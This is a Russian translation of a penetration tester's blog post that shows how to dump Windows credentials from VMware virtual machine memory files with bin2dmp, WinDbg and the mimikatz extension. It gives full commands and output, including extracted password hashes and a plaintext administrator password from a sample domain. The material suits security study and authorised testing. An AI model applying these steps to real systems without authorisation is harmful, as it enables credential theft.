Mimikatz против Virtual Machine Memory – Часть 1

Mimikatz против Virtual Machine Memory – Часть 1

Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных»  возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.

Автор: Carnal0wnage

Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.

Данный пост (и последующее его продолжение) как раз касается этой темы. Я неоднократно встречался с ситуациями, когда мне была доступна папка, набитая файлами виртуальных машин. Знаю, сейчас вы скажете, что можно загрузить raw-диск (vmdk) и использовать утилиты наподобие volatility для извлечения содержимого файловой системы. Однако подобным образом мы не сможем добраться до оперативной памяти.

Исследуя темы, связанные с vCenter/ESXi, мне попались на глаза несколько интересных статей по этому вопросу:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

Естественно, после изучения вышеуказанных материалов, я задался вопросом, можно ли осуществить нечто подобное.

В первой статье (авторства Remko) указано, что нужен следующий инструментарий:

Отладочные средства для ОС Windows:

http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

The Windows Memory Toolkit:
http://www.moonsols.com/windows-memory-toolkit/

Текущая версия mimikatz, которая поддерживает windbg:

https://github.com/gentilkiwi/mimikatz

Примечание #1: бесплатная версия Windows Memory Toolkit ограничена операционной системой и архитектурой, на которой можно ее использовать (ограничения – 32-х разрядная архитектура вплоть до Windows Server 2008).

Схема работы:

#1 Копируем файл vmem/vmsn с удаленного хоста.

#2 Конвертируем файл при помощи утилиты bin2dmp (от moonsols) в файл .dmp (я использую платную версию).

C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp

bin2dmp - v2.1.0.20140115
Convert raw memory dump images into Microsoft crash dump files.
Copyright (C) 2007 - 2014, Matthieu Suiche
Copyright (C) 2012 - 2014, MoonSols Limited

Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0

stuff happens
[0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
MD5 = E8C2F318FA528285281C21B3141E7C51

Total time for the conversion: 0 minutes 14 seconds.

#3 Загружаем файл в windbg

Примечание #2: Возможно, вам придется запустить .symfix и .reload

kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols

Loading unloaded module list
....

#4 Загружаем библиотеку mimilib.dll.

kd> .load C:\users\user\desktop\mimilib.dll

.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
.## ^ ##. Windows build 6002
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' WinDBG extension ! * * */

===================================
# * Kernel mode * #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p
# And finally :
0: kd> !mimikatz
===================================
# * User mode * #
===================================
0:000> !mimikatz
===================================

После загрузки библиотеки указан дальнейший алгоритм действий (см. выше раздел Kernel Mode).

#5 Находим процесс lsass.

kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
Image: lsass.exe

#6 Переключаем контекст процесса lsass (в данном случае fffffa800dba26d0)

kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................

#7 Загружаем mimikatz

kd> !mimikatz

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-3C4WXGGN8QE$
Domain : UNLUCKYCOMPANY
SID : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain : UNLUCKYCOMPANY
* NTLM : ea2ed0b14406a168791adf5aee78fd0b
* SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
---SNIP---

Authentication Id : 0 ; 173319 (00000000:0002a507)
Session : Interactive from 1
User Name : Administrator
Domain : UNLUCKYCOMPANY
SID : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* LM : e52cac67419a9a2238f10713b629b565
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain : UNLUCKYCOMPANY.NET
* Password : Password1

* Key List
---SNIP---

Другие трюки для Windows 8 и Windows 2012 будут рассказаны во второй части.

310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS